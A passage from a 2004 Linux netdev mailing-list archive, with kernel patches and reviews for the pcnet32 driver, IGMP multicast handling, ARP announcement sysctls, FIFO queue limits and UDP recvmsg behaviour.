(copy_from_user(&ecmd, useraddr, sizeof(ecmd))) - return -EFAULT; - spin_lock_irq(&lp->lock); - r = mii_ethtool_sset(&lp->mii_if, &ecmd); - spin_unlock_irq(&lp->lock); - return r; - } - /* restart autonegotiation */ - case ETHTOOL_NWAY_RST: { - return mii_nway_restart(&lp->mii_if); - } - /* get link status */ - case ETHTOOL_GLINK: { - struct ethtool_value edata = {ETHTOOL_GLINK}; - edata.data = mii_link_ok(&lp->mii_if); - if (copy_to_user(useraddr, &edata, sizeof(edata))) - return -EFAULT; - return 0; - } - - /* get message-level */ - case ETHTOOL_GMSGLVL: { - struct ethtool_value edata = {ETHTOOL_GMSGLVL}; - edata.data = pcnet32_debug; - if (copy_to_user(useraddr, &edata, sizeof(edata))) - return -EFAULT; - return 0; - } - /* set message-level */ - case ETHTOOL_SMSGLVL: { - struct ethtool_value edata; - if (copy_from_user(&edata, useraddr, sizeof(edata))) - return -EFAULT; - pcnet32_debug = edata.data; - return 0; - } - default: - break; - } - - return -EOPNOTSUPP; -} - static int pcnet32_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { - unsigned long ioaddr = dev->base_addr; struct pcnet32_private *lp = dev->priv; struct mii_ioctl_data *data = (struct mii_ioctl_data *)&rq->ifr_data; - int phyaddr = lp->a.read_bcr (ioaddr, 33); + int rc; + unsigned long flags; - if (cmd == SIOCETHTOOL) - return pcnet32_ethtool_ioctl(dev, (void *) rq->ifr_data); + /* all non-ethtool ioctls (the SIOC[GS]MIIxxx ioctls) */ + spin_lock_irqsave(&lp->lock, flags); + rc = generic_mii_ioctl(&lp->mii_if, data, cmd, NULL); + spin_unlock_irqrestore(&lp->lock, flags); - if (lp->mii) { - switch(cmd) { - case SIOCGMIIPHY: /* Get address of MII PHY in use. */ - data->phy_id = (phyaddr >> 5) & 0x1f; - /* Fall Through */ - case SIOCGMIIREG: /* Read MII PHY register. */ - lp->a.write_bcr (ioaddr, 33, ((data->phy_id & 0x1f) << 5) | (data->reg_num & 0x1f)); - data->val_out = lp->a.read_bcr (ioaddr, 34); - lp->a.write_bcr (ioaddr, 33, phyaddr); - return 0; - case SIOCSMIIREG: /* Write MII PHY register. */ - if (!capable(CAP_NET_ADMIN)) - return -EPERM; - lp->a.write_bcr (ioaddr, 33, ((data->phy_id & 0x1f) << 5) | (data->reg_num & 0x1f)); - lp->a.write_bcr (ioaddr, 34, data->val_in); - lp->a.write_bcr (ioaddr, 33, phyaddr); - return 0; - default: - return -EOPNOTSUPP; - } - } - return -EOPNOTSUPP; + return rc; } static void pcnet32_watchdog(struct net_device *dev) { struct pcnet32_private *lp = dev->priv; + unsigned long flags; /* Print the link status if it has changed */ - if (lp->mii) + if (lp->mii) { + spin_lock_irqsave(&lp->lock, flags); mii_check_media (&lp->mii_if, 1, 0); + spin_unlock_irqrestore(&lp->lock, flags); + } mod_timer (&(lp->watchdog_timer), PCNET32_WATCHDOG_TIMEOUT); } +static void __devexit pcnet32_remove_one(struct pci_dev *pdev) +{ + struct net_device *dev = pci_get_drvdata(pdev); + + if (dev) { + struct pcnet32_private *lp = dev->priv; + + unregister_netdev(dev); + release_region(dev->base_addr, PCNET32_TOTAL_SIZE); + pci_free_consistent(lp->pci_dev, sizeof(*lp), lp, lp->dma_addr); + free_netdev(dev); + pci_set_drvdata(pdev, NULL); + } +} + static struct pci_driver pcnet32_driver = { .name = DRV_NAME, .probe = pcnet32_probe_pci, + .remove = __devexit_p(pcnet32_remove_one), .id_table = pcnet32_pci_tbl, }; MODULE_PARM(debug, "i"); -MODULE_PARM_DESC(debug, DRV_NAME " debug level (0-6)"); +MODULE_PARM_DESC(debug, DRV_NAME " debug level"); MODULE_PARM(max_interrupt_work, "i"); MODULE_PARM_DESC(max_interrupt_work, DRV_NAME " maximum events handled per interrupt"); MODULE_PARM(rx_copybreak, "i"); -- Don Fry brazilnut@us.ibm.com From dlstevens@us.ibm.com Tue Feb 17 13:50:46 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 17 Feb 2004 13:50:53 -0800 (PST) Received: from e32.co.us.ibm.com (e32.co.us.ibm.com [32.97.110.130]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1HLodKO001584; Tue, 17 Feb 2004 13:50:46 -0800 Received: from westrelay01.boulder.ibm.com (westrelay01.boulder.ibm.com [9.17.195.10]) by e32.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i1HLoKFD755696; Tue, 17 Feb 2004 16:50:20 -0500 Received: from d03nm121.boulder.ibm.com (d03av03.boulder.ibm.com [9.17.193.83]) by westrelay01.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i1HLoJ1Z129736; Tue, 17 Feb 2004 14:50:19 -0700 In-Reply-To: <20040217155516.GA20477@mt.lv> Subject: Re: ip multicast bug To: Karlis Peisenieks Cc: netdev@oss.sgi.com, netdev-bounce@oss.sgi.com X-Mailer: Lotus Notes Release 6.0.2CF1 June 9, 2003 Message-ID: From: David Stevens Date: Tue, 17 Feb 2004 14:50:18 -0700 X-MIMETrack: Serialize by Router on D03NM121/03/M/IBM(Release 6.0.2CF2HF133 | November 14, 2003) at 02/17/2004 14:50:19 MIME-Version: 1.0 Content-type: multipart/mixed; Boundary="0__=07BBE4AEDFE4C24C8f9e8a93df938690918c07BBE4AEDFE4C24C" X-archive-position: 3346 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dlstevens@us.ibm.com Precedence: bulk X-list: netdev --0__=07BBE4AEDFE4C24C8f9e8a93df938690918c07BBE4AEDFE4C24C Content-type: multipart/alternative; Boundary="1__=07BBE4AEDFE4C24C8f9e8a93df938690918c07BBE4AEDFE4C24C" --1__=07BBE4AEDFE4C24C8f9e8a93df938690918c07BBE4AEDFE4C24C Content-type: text/plain; charset=US-ASCII Karlis, I was able to reproduce your problem, finally. Your patch does have a couple problems, though. First, the igmpv3_del_delrec() call should be there whether or not the interface is IFF_UP (to prevent a memory leak) and second, portions of igmp_group_added should still be run when the interface is down, so that the group will properly be joined when the interface is brought up. I think the patch below fixes the problem. Thanks for reporting it! +-DLS --- linux-2.6.3-rc4/net/ipv4/igmp.c 2004-02-17 12:19:51.000000000 -0800 +++ linux-2.6.3-rc4F1/net/ipv4/igmp.c 2004-02-17 13:25:39.334792760 -0800 @@ -1067,7 +1067,7 @@ reporter = im->reporter; igmp_stop_timer(im); - if (!in_dev->dead) { + if (!in_dev->dead && (in_dev->dev->flags & IFF_UP)) { if (IGMP_V1_SEEN(in_dev)) goto done; if (IGMP_V2_SEEN(in_dev)) { @@ -1098,7 +1098,7 @@ if (im->multiaddr == IGMP_ALL_HOSTS) return; - if (in_dev->dead) + if (in_dev->dead || !(in_dev->dev->flags & IFF_UP)) return; if (IGMP_V1_SEEN(in_dev) || IGMP_V2_SEEN(in_dev)) { spin_lock_bh(&im->lock); (See attached file: igmpf1.patch) --1__=07BBE4AEDFE4C24C8f9e8a93df938690918c07BBE4AEDFE4C24C Content-type: text/html; charset=US-ASCII Content-Disposition: inline

Karlis,
I was able to reproduce your problem, finally. Your patch does have
a couple problems, though. First, the igmpv3_del_delrec() call should be there
whether or not the interface is IFF_UP (to prevent a memory leak) and second,
portions of igmp_group_added should still be run when the interface is down,
so that the group will properly be joined when the interface is brought up.
I think the patch below fixes the problem. Thanks for reporting it!

+-DLS

--- linux-2.6.3-rc4/net/ipv4/igmp.c 2004-02-17 12:19:51.000000000 -0800
+++ linux-2.6.3-rc4F1/net/ipv4/igmp.c 2004-02-17 13:25:39.334792760 -0800
@@ -1067,7 +1067,7 @@
reporter = im->reporter;
igmp_stop_timer(im);

- if (!in_dev->dead) {
+ if (!in_dev->dead && (in_dev->dev->flags & IFF_UP)) {
if (IGMP_V1_SEEN(in_dev))
goto done;
if (IGMP_V2_SEEN(in_dev)) {
@@ -1098,7 +1098,7 @@
if (im->multiaddr == IGMP_ALL_HOSTS)
return;

- if (in_dev->dead)
+ if (in_dev->dead || !(in_dev->dev->flags & IFF_UP))
return;
if (IGMP_V1_SEEN(in_dev) || IGMP_V2_SEEN(in_dev)) {
spin_lock_bh(&im->lock);

(See attached file: igmpf1.patch) --1__=07BBE4AEDFE4C24C8f9e8a93df938690918c07BBE4AEDFE4C24C-- --0__=07BBE4AEDFE4C24C8f9e8a93df938690918c07BBE4AEDFE4C24C Content-type: application/octet-stream; name="igmpf1.patch" Content-Disposition: attachment; filename="igmpf1.patch" Content-ID: <10__=07BBE4AEDFE4C24C8f9e8a93df938@us.ibm.com> Content-transfer-encoding: base64 LS0tIGxpbnV4LTIuNi4zLXJjNC9uZXQvaXB2NC9pZ21wLmMJMjAwNC0wMi0xNyAxMjoxOTo1MS4w MDAwMDAwMDAgLTA4MDAKKysrIGxpbnV4LTIuNi4zLXJjNEYxL25ldC9pcHY0L2lnbXAuYwkyMDA0 LTAyLTE3IDEzOjI1OjM5LjMzNDc5Mjc2MCAtMDgwMApAQCAtMTA2Nyw3ICsxMDY3LDcgQEAKIAly ZXBvcnRlciA9IGltLT5yZXBvcnRlcjsKIAlpZ21wX3N0b3BfdGltZXIoaW0pOwogCi0JaWYgKCFp bl9kZXYtPmRlYWQpIHsKKwlpZiAoIWluX2Rldi0+ZGVhZCAmJiAoaW5fZGV2LT5kZXYtPmZsYWdz ICYgSUZGX1VQKSkgewogCQlpZiAoSUdNUF9WMV9TRUVOKGluX2RldikpCiAJCQlnb3RvIGRvbmU7 CiAJCWlmIChJR01QX1YyX1NFRU4oaW5fZGV2KSkgewpAQCAtMTA5OCw3ICsxMDk4LDcgQEAKIAlp ZiAoaW0tPm11bHRpYWRkciA9PSBJR01QX0FMTF9IT1NUUykKIAkJcmV0dXJuOwogCi0JaWYgKGlu X2Rldi0+ZGVhZCkKKwlpZiAoaW5fZGV2LT5kZWFkIHx8ICEoaW5fZGV2LT5kZXYtPmZsYWdzICYg SUZGX1VQKSkKIAkJcmV0dXJuOwogCWlmIChJR01QX1YxX1NFRU4oaW5fZGV2KSB8fCBJR01QX1Yy X1NFRU4oaW5fZGV2KSkgewogCQlzcGluX2xvY2tfYmgoJmltLT5sb2NrKTsK --0__=07BBE4AEDFE4C24C8f9e8a93df938690918c07BBE4AEDFE4C24C-- From rddunlap@osdl.org Tue Feb 17 15:02:14 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 17 Feb 2004 15:02:26 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1HN28KO002851 for ; Tue, 17 Feb 2004 15:02:12 -0800 Received: from dragon.pdx.osdl.net (dragon.pdx.osdl.net [172.20.1.27]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i1HN1bE09353; Tue, 17 Feb 2004 15:01:37 -0800 Date: Tue, 17 Feb 2004 14:54:30 -0800 From: "Randy.Dunlap" To: Don Fry Cc: tsbogend@alpha.franken.de, netdev@oss.sgi.com Subject: Re: [PATCH] and enhancements to pcnet32.c for 2.6.3-rc2 Message-Id: <20040217145430.38ad5692.rddunlap@osdl.org> In-Reply-To: <200402172131.i1HLVvv02518@dyn318364bld.beaverton.ibm.com> References: <200402172131.i1HLVvv02518@dyn318364bld.beaverton.ibm.com> Organization: OSDL X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: +5V?h'hZQPB9kW Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3347 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev On Tue, 17 Feb 2004 13:31:57 -0800 (PST) Don Fry wrote: | Attached is a collection of patches for the pcnet32 driver. | | The maintainer has not responded to the following three patches. Since this email has received such wide reviews in the past, here are some more comments on it. a. make separate patches based on functional changes, not a collection of patches. b. don't use C++-style "//" comments: Linux style is /* ... */ | @@ -213,6 +223,13 @@ | * clean up and using new mii module | * v1.27b Sep 30 2002 Kent Yoder | * Added timer for cable connection state changes. | + * v1.28 11 Feb 2004 Don Fry , | + * Jon Mason , Chinmay Albal , | + * Jim Lewis . | + * Now uses ethtool_ops, netif_msg_*, and generic_mii_ioctl. | + * Loopback test added. Supports PCI (not PCMCIA) hot remove. | + * Fixes "Bus master arbitration failure" and pci_[un]map_single | + * length errors. | */ This should go in the changeset comments. | @@ -841,8 +1131,10 @@ | } | | /* Check for a valid station address */ | - if( !is_valid_ether_addr(dev->dev_addr) ) | - return -EINVAL; | + if( !is_valid_ether_addr(dev->dev_addr) ) { Too ugly. Use: if (!is_xyz()) { | + ret = -EINVAL; | + goto err_free_irq; | + } -- ~Randy From davem@redhat.com Tue Feb 17 19:08:00 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 17 Feb 2004 19:08:04 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1I380KO015403 for ; Tue, 17 Feb 2004 19:08:00 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1I37tb13225; Tue, 17 Feb 2004 22:07:55 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1I37si01223; Tue, 17 Feb 2004 22:07:54 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1I37pkC002876; Tue, 17 Feb 2004 22:07:52 -0500 Date: Tue, 17 Feb 2004 19:07:53 -0800 From: "David S. Miller" To: Julian Anastasov Cc: netdev@oss.sgi.com, linux-net@vger.kernel.org Subject: Re: Restrict local IP announcements in ARP requests Message-Id: <20040217190753.238c5ae0.davem@redhat.com> In-Reply-To: References: <20040209140853.69ab8bea.davem@redhat.com> <20040209151053.1f63937a.davem@redhat.com> <20040211202251.7b05102c.davem@redhat.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3348 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Sun, 15 Feb 2004 12:04:59 +0200 (EET) Julian Anastasov wrote: > The same patch is also here: > > http://www.ssi.bg/~ja/tmp/arp_ignore-2.6.2-arp-1.diff I've applied this, the patch is a NOP unless people actually change the sysctl value from the default. This allows me to just put it in now, and we can refine the details of the new behavior next. Please make me a 2.4.x version of this patch (again with the other ARP thing applied already). Thanks Julian. From davem@redhat.com Tue Feb 17 19:10:26 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 17 Feb 2004 19:10:32 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1I3AOKO015741 for ; Tue, 17 Feb 2004 19:10:26 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1I3ADb13700; Tue, 17 Feb 2004 22:10:13 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1I3ADi01644; Tue, 17 Feb 2004 22:10:13 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1I3A9kC003303; Tue, 17 Feb 2004 22:10:09 -0500 Date: Tue, 17 Feb 2004 19:10:11 -0800 From: "David S. Miller" To: Patrick McHardy Cc: hadi@cyberus.ca, qnex@atlantis.knm.org.pl, netdev@oss.sgi.com, shemminger@osdl.org Subject: Re: 2.6: QoS scheduling not working with IP-over-IP Message-Id: <20040217191011.012a749e.davem@redhat.com> In-Reply-To: <402F4A2D.1070405@trash.net> References: <20040211200549.736fa8b3.davem@redhat.com> <1076561489.1032.65.camel@jzny.localdomain> <1076561998.1035.72.camel@jzny.localdomain> <1076562282.1033.76.camel@jzny.localdomain> <20040211211536.23e97997.davem@redhat.com> <1076563502.1031.85.camel@jzny.localdomain> <1076564638.1033.91.camel@jzny.localdomain> <20040211215142.7f817513.davem@redhat.com> <1076566176.1033.94.camel@jzny.localdomain> <20040211222259.776ad818.davem@redhat.com> <402D54D6.5070708@trash.net> <20040213213606.5a13cc76.davem@redhat.com> <1076762757.1060.4.camel@jzny.localdomain> <1076763997.1059.13.camel@jzny.localdomain> <1076766981.1059.16.camel@jzny.localdomain> <20040214124958.499294a6.davem@redhat.com> <402F4A2D.1070405@trash.net> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3349 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Sun, 15 Feb 2004 11:30:05 +0100 Patrick McHardy wrote: > I guess he meant something like this, but I still think it encourages > broken configurations in combination with non-work-conserving > schedulers. Patrick, "(x || 1)" is not the same as "(x ? x : 1)" :-) Please make a new patch. From davem@redhat.com Tue Feb 17 22:17:21 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 17 Feb 2004 22:17:25 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1I6HLKO022805 for ; Tue, 17 Feb 2004 22:17:21 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1I6H6b27308; Wed, 18 Feb 2004 01:17:06 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1I6H6i10610; Wed, 18 Feb 2004 01:17:06 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1I6H2kC003924; Wed, 18 Feb 2004 01:17:03 -0500 Date: Tue, 17 Feb 2004 22:17:05 -0800 From: "David S. Miller" To: Olaf Kirch Cc: netdev@oss.sgi.com Subject: Re: [PATCH] 2.6 UDP recvmsg vs POSIX Message-Id: <20040217221705.183d58a6.davem@redhat.com> In-Reply-To: <20040217121726.GD8554@suse.de> References: <20040217121726.GD8554@suse.de> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3350 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Tue, 17 Feb 2004 13:17:26 +0100 Olaf Kirch wrote: > I'm currently investigating a problem in udp recvmsg. In short, a test > program selects on the socket, gets woken up as a packet arrives, but > recvmsg return EAGAIN because the UDP checksum was wrong. Thanks Olaf, I'm not ignoring your patch I just didn't get to it today. From ja@ssi.bg Wed Feb 18 00:19:13 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Feb 2004 00:19:22 -0800 (PST) Received: from u.domain.uli (ja.mac.ssi.bg [217.79.71.194]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1I8IfKO024549 for ; Wed, 18 Feb 2004 00:18:50 -0800 Received: from localhost (localhost [127.0.0.1]) by u.domain.uli (8.12.10/8.12.10) with ESMTP id i1I8M9s2008762; Wed, 18 Feb 2004 10:22:15 +0200 Date: Wed, 18 Feb 2004 10:22:09 +0200 (EET) From: Julian Anastasov X-X-Sender: ja@u.domain.uli To: "David S. Miller" cc: netdev@oss.sgi.com, linux-net@vger.kernel.org Subject: Re: Restrict local IP announcements in ARP requests In-Reply-To: <20040217190753.238c5ae0.davem@redhat.com> Message-ID: References: <20040209140853.69ab8bea.davem@redhat.com> <20040209151053.1f63937a.davem@redhat.com> <20040211202251.7b05102c.davem@redhat.com> <20040217190753.238c5ae0.davem@redhat.com> MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="1607745702-574371658-1077092529=:3189" X-archive-position: 3351 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ja@ssi.bg Precedence: bulk X-list: netdev This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --1607745702-574371658-1077092529=:3189 Content-Type: TEXT/PLAIN; charset=US-ASCII Hello, On Tue, 17 Feb 2004, David S. Miller wrote: > > http://www.ssi.bg/~ja/tmp/arp_ignore-2.6.2-arp-1.diff > > I've applied this, the patch is a NOP unless people actually change > the sysctl value from the default. > > This allows me to just put it in now, and we can refine the details of > the new behavior next. > > Please make me a 2.4.x version of this patch (again with the other ARP > thing applied already). Thanks, it is attached. Regards -- Julian Anastasov --1607745702-574371658-1077092529=:3189 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="arp_ignore-2.4.25-rc2-arp-1.diff" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: arp_ignore for 2.4 Content-Disposition: attachment; filename="arp_ignore-2.4.25-rc2-arp-1.diff" ZGlmZiAtdXIgdjIuNC4yNS1yYzItYXJwL2xpbnV4L0RvY3VtZW50YXRpb24v bmV0d29ya2luZy9pcC1zeXNjdGwudHh0IGxpbnV4L0RvY3VtZW50YXRpb24v bmV0d29ya2luZy9pcC1zeXNjdGwudHh0DQotLS0gdjIuNC4yNS1yYzItYXJw L2xpbnV4L0RvY3VtZW50YXRpb24vbmV0d29ya2luZy9pcC1zeXNjdGwudHh0 CTIwMDQtMDItMTggMDk6NTU6MTIuMDAwMDAwMDAwICswMjAwDQorKysgbGlu dXgvRG9jdW1lbnRhdGlvbi9uZXR3b3JraW5nL2lwLXN5c2N0bC50eHQJMjAw NC0wMi0xOCAwOTo1ODoyMC42MTE2NDgyODAgKzAyMDANCkBAIC01MTIsNiAr NTEyLDI0IEBADQogCXJlY2VpdmluZyBhbnN3ZXIgZnJvbSB0aGUgcmVzb2x2 ZWQgdGFyZ2V0IHdoaWxlIGRlY3JlYXNpbmcNCiAJdGhlIGxldmVsIGFubm91 bmNlcyBtb3JlIHZhbGlkIHNlbmRlcidzIGluZm9ybWF0aW9uLg0KIA0KK2Fy cF9pZ25vcmUgLSBJTlRFR0VSDQorCURlZmluZSBkaWZmZXJlbnQgbW9kZXMg Zm9yIHNlbmRpbmcgcmVwbGllcyBpbiByZXNwb25zZSB0bw0KKwlyZWNlaXZl ZCBBUlAg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LA0KKwkgJmlwdjRfZGV2Y29u Zi5hcnBfaWdub3JlLCBzaXplb2YoaW50KSwgMDY0NCwgTlVMTCwNCisJICZw cm9jX2RvaW50dmVjfSwNCiAJe05FVF9JUFY0X0NPTkZfRk9SQ0VfSUdNUF9W RVJTSU9OLCAiZm9yY2VfaWdtcF92ZXJzaW9uIiwNCiAJICZpcHY0X2RldmNv bmYuZm9yY2VfaWdtcF92ZXJzaW9uLCBzaXplb2YoaW50KSwgMDY0NCwgTlVM TCwNCiAJICZwcm9jX2RvaW50dmVjfSwNCg== --1607745702-574371658-1077092529=:3189-- From kaber@trash.net Wed Feb 18 03:20:45 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Feb 2004 03:20:56 -0800 (PST) Received: from gw.localnet (port-212-202-185-225.reverse.qdsl-home.de [212.202.185.225]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1IBKhKO001641 for ; Wed, 18 Feb 2004 03:20:44 -0800 Received: from ws.localnet ([192.168.0.23] helo=trash.net ident=kaber) by gw.localnet with esmtp (Exim 3.36 #1 (Debian)) id 1AtPl6-00037g-00; Wed, 18 Feb 2004 12:20:52 +0100 Message-ID: <40334AB2.30701@trash.net> Date: Wed, 18 Feb 2004 12:21:22 +0100 From: Patrick McHardy User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040122 Debian/1.6-1 X-Accept-Language: en MIME-Version: 1.0 To: "David S. Miller" CC: hadi@cyberus.ca, qnex@atlantis.knm.org.pl, netdev@oss.sgi.com, shemminger@osdl.org Subject: Re: 2.6: QoS scheduling not working with IP-over-IP References: <20040211200549.736fa8b3.davem@redhat.com> <1076561489.1032.65.camel@jzny.localdomain> <1076561998.1035.72.camel@jzny.localdomain> <1076562282.1033.76.camel@jzny.localdomain> <20040211211536.23e97997.davem@redhat.com> <1076563502.1031.85.camel@jzny.localdomain> <1076564638.1033.91.camel@jzny.localdomain> <20040211215142.7f817513.davem@redhat.com> <1076566176.1033.94.camel@jzny.localdomain> <20040211222259.776ad818.davem@redhat.com> <402D54D6.5070708@trash.net> <20040213213606.5a13cc76.davem@redhat.com> <1076762757.1060.4.camel@jzny.localdomain> <1076763997.1059.13.camel@jzny.localdomain> <1076766981.1059.16.camel@jzny.localdomain> <20040214124958.499294a6.davem@redhat.com> <402F4A2D.1070405@trash.net> <20040217191011.012a749e.davem@redhat.com> In-Reply-To: <20040217191011.012a749e.davem@redhat.com> Content-Type: multipart/mixed; boundary="------------040906040203050704050807" X-archive-position: 3352 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kaber@trash.net Precedence: bulk X-list: netdev This is a multi-part message in MIME format. --------------040906040203050704050807 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit David S. Miller wrote: > On Sun, 15 Feb 2004 11:30:05 +0100 > Patrick McHardy wrote: > > >>I guess he meant something like this, but I still think it encourages >>broken configurations in combination with non-work-conserving >>schedulers. > > > Patrick, "(x || 1)" is not the same as "(x ? x : 1)" > :-) Doh! I must have been programming in perl before .. ;) > > Please make a new patch. > Attached. Regards Patrick --------------040906040203050704050807 Content-Type: text/plain; name="x" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="x" ===== net/sched/sch_fifo.c 1.7 vs edited ===== --- 1.7/net/sched/sch_fifo.c Wed Nov 19 02:37:34 2003 +++ edited/net/sched/sch_fifo.c Wed Feb 18 12:06:06 2004 @@ -141,10 +141,12 @@ struct fifo_sched_data *q = (void*)sch->data; if (opt == NULL) { + unsigned int limit = sch->dev->tx_queue_len ? : 1; + if (sch->ops == &bfifo_qdisc_ops) - q->limit = sch->dev->tx_queue_len*sch->dev->mtu; + q->limit = limit*sch->dev->mtu; else - q->limit = sch->dev->tx_queue_len; + q->limit = limit; } else { struct tc_fifo_qopt *ctl = RTA_DATA(opt); if (opt->rta_len < RTA_LENGTH(sizeof(*ctl))) ===== net/sched/sch_gred.c 1.13 vs edited ===== --- 1.13/net/sched/sch_gred.c Wed Nov 19 02:37:34 2003 +++ edited/net/sched/sch_gred.c Wed Feb 18 12:06:56 2004 @@ -110,7 +110,7 @@ unsigned long qave=0; int i=0; - if (!t->initd && skb_queue_len(&sch->q) < sch->dev->tx_queue_len) { + if (!t->initd && skb_queue_len(&sch->q) < (sch->dev->tx_queue_len ? : 1)) { D2PRINTK("NO GRED Queues setup yet! Enqueued anyway\n"); goto do_enqueue; } --------------040906040203050704050807-- From ak@suse.de Wed Feb 18 03:24:49 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Feb 2004 03:24:52 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1IBOmKO009488 for ; Wed, 18 Feb 2004 03:24:48 -0800 Received: from hermes.suse.de (Hermes.suse.de [195.135.221.8]) by Cantor.suse.de (Postfix) with ESMTP id CA4711F9AC2; Wed, 18 Feb 2004 12:24:41 +0100 (CET) Date: Thu, 19 Feb 2004 08:07:05 +0100 From: Andi Kleen To: "David S. Miller" Cc: okir@suse.de, netdev@oss.sgi.com Subject: Re: [PATCH] 2.6 UDP recvmsg vs POSIX Message-Id: <20040219080705.6dffcaaf.ak@suse.de> In-Reply-To: <20040217221705.183d58a6.davem@redhat.com> References: <20040217121726.GD8554@suse.de> <20040217221705.183d58a6.davem@redhat.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3353 X-ecartis-version: Ecartis v1.0.0 Sender: 